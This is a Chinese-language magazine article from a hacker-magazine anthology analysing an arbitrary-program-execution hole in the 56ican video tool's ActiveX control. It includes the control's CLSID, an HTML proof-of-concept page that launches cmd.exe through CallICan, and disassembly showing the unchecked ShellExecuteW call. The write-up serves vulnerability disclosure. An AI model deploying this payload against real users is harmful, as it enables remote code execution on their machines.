黑客防线2012合订本
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

解密56ican远程执行任意程序漏洞

图/文 爱无言

56ican是由56网站开发的一款便于用户上传、 下载视频文件的工具软件,测试发现该软件在安全方面存在诸多问题,这里我们对该软件的最新版本1.3.0进行了同样的测试,发现问题依旧存在。其中,最新版本的56ican其使用界面如图1所示。

图1

当我们在系统中安装了56ican后,该软件向系统注册了多个ActiveX控件,这其中有一个名为“IESuport.dll”的文件,它注册的ActiveX控件类名为“IESuportLib”。该控件类只有一个外部接口函数,名为“CallICan”,其函数原形如下。

        Sub CallICan (
                ByRef url  As String
        )

从参数名称来看,“url”代表网址,而函数名称看起来似乎又类似一个调用性质的函数。在无法推断该函数的作用时,我们写一个测试网页来看一看效果,测试代码如下。

        <object
      classid="clsid:7B001844-0E6A-429A-B014-3BCE8765C470"
      name="evil" ></object>
        <script>
        evil.CallICan("http://www.baidu.com");
        </script>

当我们将这个网页放置在测试用的Web服务器上,用IE浏览器访问时,IE浏览器会给出一个安全提示,如图2所示。

图2

当用鼠标单击IE浏览器给出的安全提示,选择允许浏览器加载该控件后,我们发现浏览器在试图访问百度的网站,如图3所示。

图3

这令我们很好奇,一般来说像打开网址这样的行为,从编程角度来看,就是调用了一个带有执行命令性质的函数,诸如ShellExecuteW。如果真的是这样,那么,就意味着56ican的ActiveX控件存在着很严重的安全漏洞,我们可以借助“CallICan”来运行任意程序。现在,我们就写一个测试网页来看看效果,代码如下。

        <object
      classid="clsid:7B001844-0E6A-429A-B014-3BCE8765C470"
      name="evil" ></object>
        <script>
        evil.CallICan("cmd.exe");
        </script>

将这个测试网页上传到Web服务器上,再次用IE浏览器访问该测试网页,效果如图4所示。

图4

看到这样的画面实在令人吃惊,我们完全可以借助56ican来实现在用户的系统上远程运行任意程序。但是,这个结果到底是什么原因造成的呢?

借助OllyDbg,我们找到了原因,如图5所示。

图5

56ican的“IESuport.dll”文件果然调用了ShellExecuteW函数。这个函数是一个非安全函数,尤其是在ActiveX控件中使用它时。

通过在OllyDbg中回溯跟踪,我们发现了问题所在,如下所示。

        018C3E46   6A 05          push 5
        018C3E48   6A 00          push 0
        018C3E4A   6A 00          push 0
        018C3E4C   51            push ecx
        018C3E4D   68 A8768C01    push
      18C76A8      ;UNICODE"open"
        018C3E52   6A 00          push 0
        018C3E54   FF15 54718C01 call dword ptr
      ds:[18C7154]            ;SHELL32.ShellExecuteW
        018C3E5A   33C0          xor eax,eax
        018C3E5C   C2 0800        retn 8

原来56ican的“CallICan”接口直接调用了ShellExecuteW函数,其ecx寄存器指向的内容就是我们在网页中传递给“CallICan”接口的参数。使用VC代码进行书写类似如下。

ShellExecuteW(NULL,“open”,ecx,0,0,MB_SHOW)。

现在,明白了上面的原理,漏洞的利用代码就可以结合实际情况来进行编写了。

最后,该漏洞对于过去版本的56ican都存在,本文旨在讨论该漏洞形成的原因,请不要使用该漏洞进行任何违法活动,否则作者与杂志概不负责。